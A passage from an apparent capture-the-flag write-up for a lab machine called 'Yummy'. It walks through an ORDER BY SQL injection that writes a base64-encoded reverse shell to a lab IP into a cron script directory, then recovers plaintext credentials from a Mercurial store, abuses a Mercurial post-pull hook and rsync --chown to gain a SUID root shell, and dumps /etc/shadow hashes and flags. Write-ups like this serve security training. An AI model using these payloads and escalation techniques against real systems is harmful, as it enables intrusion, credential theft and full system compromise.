                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)
```

`users` table only has us, registered users. No admin account at least in this database users table.

#### RCE via cronjob via OUTFILE

From 2nd injection I learned that user has `file` permissions, so access to `OUTFILE` is granted. If we take closer look at cronjobs previously there are exploitable, add scripts and last one will get executed.

```python
from time import sleep
import requests
import string


URL = 'http://yummy.htb/admindashboard'
CHARSET = string.printable
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(email,":",password,";"),{},1)="{}"), SLEEP(3), false) FROM users #'
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(GRANTEE,":",PRIVILEGE_TYPE,";"),{},1)="{}"), SLEEP(3), false) FROM information_schema.USER_PRIVILEGES WHERE GRANTEE = "\'chef\'@\'localhost\'" #'
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(user,":",password,";"),{},1)="{}"), SLEEP(3), false) FROM mysql.user #'
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(schema_name),{},1)="{}"), SLEEP(3), false) FROM information_schema.schemata #'

PAYLOAD = '''
;SELECT "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQ0NDQgMD4mMQ==|base64 -d|bash" INTO OUTFILE '{}'; #
'''.strip()

COOKIES = {
    'X-AUTH-Token': 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3QwMkB5dW1teS5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODE3NTk0NCwiZXhwIjoxNzI4MTc5NTQ0LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjE1OTQ4NzA0OTI1MTc2MzA1NzM5NTQ2NzI2NjEzMjg4NTQ5NjA5MzU0MjUzMjU5OTQ2MDczODg2NjgyNTU3MDAyMzM1MzgwMjIwMzAzOTE4OTYyMTk2MDA0NjY2OTUzMjUyMjcxMTg4NzYxNzY1NDMyNzg4NjIyOTk4NTU5MTM0NzgxNTQ1Nzk0NDgzNzY1NjQ0MTc0OTU4MjA2NjE4NjEyMzQwNjE2ODU3MzM4MjUxMTExMjU1MTM2NDY0MTY0NDAzNDY3NDMwODIwMzI1NTQ2NjI3NTQ2NTU5MDI5Mjc0OTY5OTg2MjIxMTEzNTg3MTA4NTY3MTU3NzUzNDAzNDk4MDMyNDk3MTk2NTg4OTcwNDY0NDY0MDY5NTY3MDk1ODE0MDY3Nzg5MzYxNzM2MDc5ODE0MDQzMzg2MyIsImUiOjY1NTM3fX0.BbBbxdjqnWf4tuvYKmsDOQICpCZ_H-1NCuiM2VIzk7RruKTqwc4vyQSSNwlXYDNWaYnhD6WUIHHWk2DFxgrg6E5zSrQoFuwDR9WSuPcxBwINkz8fc1YnfaQ-j7q0jsRYZ1Eklav8yEfmzIfCBP7ZKvwNWhI2DUese9uXXQp97jdKUDA'
}

# known = ''
# while True:
#     known_len = len(known) + 1
#     for c in CHARSET:
#         print(f'[{known_len}] {known} | {c}')
#         payload = PAYLOAD.format(known_len, c)
#         resp = requests.get(URL, params={'s': '', 'o': payload}, cookies=COOKIES, proxies={'http': 'http://127.0.0.1:8080'})
#         if resp.elapsed.total_seconds() >= 3:
#             known += c
#             break
#     else:
#         break

for i in range(130, 132): # Make sure high number doesn't exist
    payload = PAYLOAD.format(f'/data/scripts/fixer-v{i}')
    resp = requests.get(URL, params={'s': '', 'o': payload}, cookies=COOKIES, proxies={'http': 'http://127.0.0.1:8080'})

i=0
while True:
    print(i)
    i+=1
    payload = PAYLOAD.format('/data/scripts/dbstatus.json')
    resp = requests.get(URL, params={'s': '', 'o': payload}, cookies=COOKIES, proxies={'http': 'http://127.0.0.1:8080'})
    if 'already exists' not in resp.text:
        break

    sleep(1)
```

Listen for connection and catch the shell.

### Reverse Shell (mysql)

`/data` has dangerous permissions on directory, and `app_backup.sh` is ran by `www-data`

```bash
mysql@yummy:/data$ id
uid=110(mysql) gid=110(mysql) groups=110(mysql)
mysql@yummy:/data$ ls -alh
total 12K
drwxr-xr-x  3 root root 4.0K Sep 30 08:16 .
drwxr-xr-x 24 root root 4.0K Sep 30 08:16 ..
drwxrwxrwx  2 root root 4.0K Oct  6 01:15 scripts
mysql@yummy:/data$ cat /etc/crontab
...
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
```

### Privilege Escalation (www-data)

Create new cronjob task:

```bash
mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.sh.bak && echo $'#!/bin/bash\necho L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQ0NDQgMD4mMQ==|base64 -d|bash\n' > app_backup.sh && chmod +x app_backup.sh && ls -alh
total 36K
drwxrwxrwx 2 root  root  4.0K Oct  6 01:21 .
drwxr-xr-x 3 root  root  4.0K Sep 30 08:16 ..
-rwxrwxr-x 1 mysql mysql   94 Oct  6 01:21 app_backup.sh
-rw-r--r-- 1 root  root    90 Oct  6 01:21 app_backup.sh.bak
-rw-r--r-- 1 root  root  1.4K Sep 26 15:31 dbmonitor.sh
-rw-r----- 1 root  root    60 Oct  6 01:20 fixer-v1.0.1.sh
-rw-r--r-- 1 root  root  5.5K Sep 26 15:31 sqlappointments.sql
-rw-r--r-- 1 root  root   114 Sep 26 15:31 table_cleanup.sh
```

### Privilege Escalation (qa)

```bash
└─$ listen
Ncat: Connection from 10.129.52.156:42924.
www-data@yummy:/root$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...
www-data@yummy:~/app-qatesting/.hg$ find . -ls | grep -vE 'css|js|vendor|static|cache'
   267823      4 drwxrwxr-x   6 qa       qa           4096 May 28 14:37 .
   267826      4 drwxrwxr-x   2 qa       qa           4096 May 28 14:28 ./strip-backup
   267827      4 -rw-rw-r--   1 qa       qa            657 May 28 14:28 ./strip-backup/c00da704e2f0-fcd95763-amend.hg
   268030      4 -rw-rw-r--   1 qa       qa             57 May 28 14:26 ./00changelog.i
   267836      4 -rw-rw-r--   1 qa       qa             34 May 28 14:37 ./last-message.txt
   268024      4 -rw-rw-r--   1 qa       qa             11 May 28 14:26 ./requires
   268023      8 -rw-rw-r--   1 qa       qa           7102 May 28 14:34 ./undo.backup.dirstate.bck
   267835      8 -rw-rw-r--   1 qa       qa           7102 May 28 14:37 ./dirstate
   268031      0 -rw-rw-r--   1 qa       qa              0 May 28 14:28 ./bookmarks
   267837      4 drwxrwxr-x   4 qa       qa           4096 May 28 14:37 ./store
   268022      4 -rw-rw-r--   1 qa       qa            640 May 28 14:37 ./store/00changelog.i
   267839      4 -rw-rw-r--   1 qa       qa             43 May 28 14:26 ./store/phaseroots
   267850      4 drwxrwxr-x   6 qa       qa           4096 May 28 14:37 ./store/data
   267851      4 drwxrwxr-x   3 qa       qa           4096 May 28 14:26 ./store/data/middleware
   267852      4 -rw-rw-r--   1 qa       qa            679 May 28 14:26 ./store/data/middleware/verification.py.i
   267856      4 drwxrwxr-x   3 qa       qa           4096 May 28 14:27 ./store/data/config
   267857      4 -rw-rw-r--   1 qa       qa            609 May 28 14:28 ./store/data/config/signature.py.i
   268014      4 drwxrwxr-x   2 qa       qa           4096 May 28 14:26 ./store/data/templates
   268017      4 -rw-rw-r--   1 qa       qa           2440 May 28 14:26 ./store/data/templates/login.html.i
   268015      4 -rw-rw-r--   1 qa       qa           2876 May 28 14:26 ./store/data/templates/admindashboard.html.i
   268016      4 -rw-rw-r--   1 qa       qa           2512 May 28 14:26 ./store/data/templates/register.html.i
   268018      4 -rw-rw-r--   1 qa       qa           2460 May 28 14:26 ./store/data/templates/dashboard.html.i
   268019     12 -rw-rw-r--   1 qa       qa           8235 May 28 14:26 ./store/data/templates/index.html.i
   268013      8 -rw-rw-r--   1 qa       qa           4914 May 28 14:37 ./store/data/app.py.i
   267841      8 -rw-rw-r--   1 qa       qa           5192 May 28 14:37 ./store/00manifest.i
   268021      4 -rw-rw-r--   1 qa       qa             83 May 28 14:26 ./store/requires
   267840      4 -rw-rw-r--   1 qa       qa             74 May 28 14:37 ./store/undo
   267842      4 drwxrwxr-x   3 qa       qa           4096 May 28 14:26 ./store/data-s
   267838      4 -rw-rw-r--   1 qa       qa             82 May 28 14:37 ./store/undo.backupfiles
   268020      4 -rw-rw-r--   1 qa       qa           1779 May 28 14:37 ./store/00changelog.d
   267824      4 -rw-rw-r--   1 qa       qa              9 May 28 14:37 ./undo.desc
   267825      4 -rw-rw-r--   1 qa       qa              8 May 28 14:26 ./branch
   267828      4 -rw-rw-r--   1 qa       qa              8 May 28 14:26 ./undo.backup.branch.bck
www-data@yummy:~/app-qatesting/.hg$ strings ./store/data/app.py.i
T sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
#md5
9    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
V([Q
>GQ$
6    'user': 'qa',
    'password': 'jPAd!XQCtn8Oc@2B',
P8*p
...

```

## SSH

> Creds: `qa:jPAd!XQCtn8Oc@2B`

```bash
└─$ ssh qa@yummy.htb
qa@yummy:~$ id
uid=1001(qa) gid=1001(qa) groups=1001(qa)
```

### Flag.txt

```bash
qa@yummy:~$ cat user.txt
ace91c17c4c5bd4e28d19009f81971ce
```

## Privilege Escalation (dev)

```bash
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/
```

User has `hg` config file:

```bash
qa@yummy:~$ cat .hgrc
# example user config (see 'hg help config' for more info)
[ui]
username = qa
...
[extensions]
[trusted]
users = qa, dev
groups = qa, dev
```

There were some `hg` archive files in `/var/www` I wanted to check out, but total waste of time.

```bash
qa@yummy:/var/www/app-qatesting/.hg/strip-backup$ hg clone  c00da704e2f0-fcd95763-amend.hg c00da704e2f0-fcd95763-amend
requesting all changes
adding changesets
adding manifests
adding file changes
added 11 changesets with 133 changes to 124 files (+1 heads)
new changesets f54c91c7fae8:c00da704e2f0 (11 drafts)
updating to branch default
124 files updated, 0 files merged, 0 files removed, 0 files unresolved
qa@yummy:/var/www/app-qatesting/.hg/strip-backup/c00da704e2f0-fcd95763-amend$ hg summary
parent: 10:c00da704e2f0 tip
 patched verification vuln
branch: default
commit: (clean)
update: 4 new changesets, 2 branch heads (merge)
phases: 11 draft
```

I totally forgot that `sudo -l` command can be ran as other user 💀

```bash
qa@yummy:/tmp$ mkdir tt
qa@yummy:/tmp$ chmod 777 tt
qa@yummy:/tmp$ cd tt
qa@yummy:/tmp/tt$ hg init
qa@yummy:/tmp/tt$ chmod 777 . -R
qa@yummy:/tmp/tt$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
qa@yummy:/tmp/tt$ hg update
124 files updated, 0 files merged, 0 files removed, 0 files unresolved
qa@yummy:/tmp/tt$ hg log
```

Nothing interesting, same stuff as in `/var/www`

Looking into docs: <https://www.mercurial-scm.org/doc/hgrc.5.html>

```bash
## [hooks](https://www.mercurial-scm.org/doc/hgrc.5.html#contents)

Commands or Python functions that get automatically executed by various actions such as starting or finishing a commit. Multiple hooks can be run for the same action by appending a suffix to the action. Overriding a site-wide hook can be done by changing its value or setting it to an empty string. Hooks can be prioritized by adding a prefix of priority. to the hook name on a new line and setting the priority. The default priority is 0.
...
post-<command>

Run after successful invocations of the associated command. The contents of the command line are passed as $HG_ARGS and the result code in $HG_RESULT. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the python data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. Hook failure is ignored.

fail-<command>

Run after a failed invocation of an associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the python data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. Hook failure is ignored.

pre-<command>

Run before executing the associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. If the hook returns failure, the command doesn't execute and Mercurial returns the failure code.
```

Repositories can have their own `hgrc`, not only users. Editing the `qa` user rc file didn't work, but if we add it to repository then it works.

```bash
qa@yummy:/tmp/tmp.mFFkaXY8n4$ d=$(mktemp -d);
cd $d;
hg init;
cp ~/.hgrc .hg/hgrc;
echo $'\n[hooks]\npost-pull = install /bin/bash /tmp/devbash -m 4777\n' >> .hg/hgrc
chmod 777 . -R;
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
qa@yummy:/tmp/tmp.aJq6861TWh$ ls /tmp/devbash -Alh
-rwsrwxrwx 1 dev dev 1.4M Oct  6 08:23 /tmp/devbash
qa@yummy:/tmp/tmp.aJq6861TWh$ /tmp/devbash -p
devbash-5.2$ id
uid=1001(qa) gid=1001(qa) euid=1000(dev) groups=1001(qa)
```

## Privilege Escalation (root)

```bash
devbash-5.2$ sudo -l
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/
```

The SUID bit shell didn't go as planned... If we upgrade to reverse shell we are proper `dev` user. Edit:

```bash
echo $'\n[hooks]\npost-pull = echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQ0NDQgMD4mMQ==|base64 -d|bash\n' >> .hg/hgrc
```

```bash
dev@yummy:/tmp/tmp.HyHrHWDXQq$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
```

<https://man7.org/linux/man-pages/man1/rsync.1.html>

`rsync` - a fast, versatile, remote (and local) file-copying tool

We can't directly read files, because path traversal will break. But `rsync` allows modification of ownership:`--chown=USER:GROUP simple username/groupname mapping`

```bash
dev@yummy:~/app-production$ cp /bin/bash rootbash
dev@yummy:~/app-production$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
dev@yummy:~/app-production$ ls -alh /opt/app
...
-rwxr-xr-x 1 root     root     1.4M Oct  6 08:35 rootbash
...
```

Ownership were changed, but permissions stayed the same.

```bash
dev@yummy:~/app-production$ cd /home/dev/app-production;
install /bin/bash rootbash -m 4777;
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/;
/opt/app/rootbash -p;
mv /opt/app/rootbash /tmp/rootbash;
id # No pty
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
script /dev/null -qc /bin/bash
I'm out of office until October  7th, don't call me
```

`script` loses the permissions... so no pty I guess

```bash
cd /root
ls -alh
total 36K
drwx------  6 root root 4.0K Oct  5 21:43 .
drwxr-xr-x 24 root root 4.0K Sep 30 08:16 ..
lrwxrwxrwx  1 root root    9 May 15 13:12 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Apr 22 13:04 .bashrc
drwx------  2 root root 4.0K Sep 30 10:05 .cache
drwxr-xr-x  3 root root 4.0K Sep 30 08:16 .local
-rw-r--r--  1 root root  161 Apr 22 13:04 .profile
-rw-r-----  1 root root   33 Oct  5 21:43 root.txt
drwxr-xr-x  2 root root 4.0K Sep 30 08:16 scripts
drwx------  2 root root 4.0K Sep 30 08:16 .ssh
cat root.txt
4b76789486758d0d2dd7695f55a2cc19
```

```bash
rootbash-5.2# cat /etc/shadow | grep -vE ':[*!]{1,2}:'
root:$y$j9T$VFiopFqX2qPhPh4xaO0Gd/$t9kjP.3F4.0JsG5ZYe.e2vSY1A/71UzvQANY4SToQ98:19871:0:99999:7:::
www-data:$y$j9T$S21blsbdDkEltq9K0dVWh.$xJ9DB6rlVtaqyy1Wr7ZNEQNyDpYqc9J.azcfx8u2f52:19871:0:99999:7:::
dev:$y$j9T$1/WsUm7je9IFkzgVjqRjX0$kqpuG3yR.ax0.hzHJp5NL0G4943t/fcVU7LnDKitfv1:19871:0:99999:7:::
mysql:$y$j9T$G9DPvQTVigsYa1P8PJZXw.$b88UbsM554ljSq.SVHU6BEbL/9QCVJ1a78WZSxt4uk2:19871::::::
qa:$y$j9T$75Hb7WaRlgpORQQSzqUNS/$ZkK/Yb1QrMTAgHsd4qViPxTRDd4v6BaA2nrSyp0YAI3:19871:0:99999:7:::
```
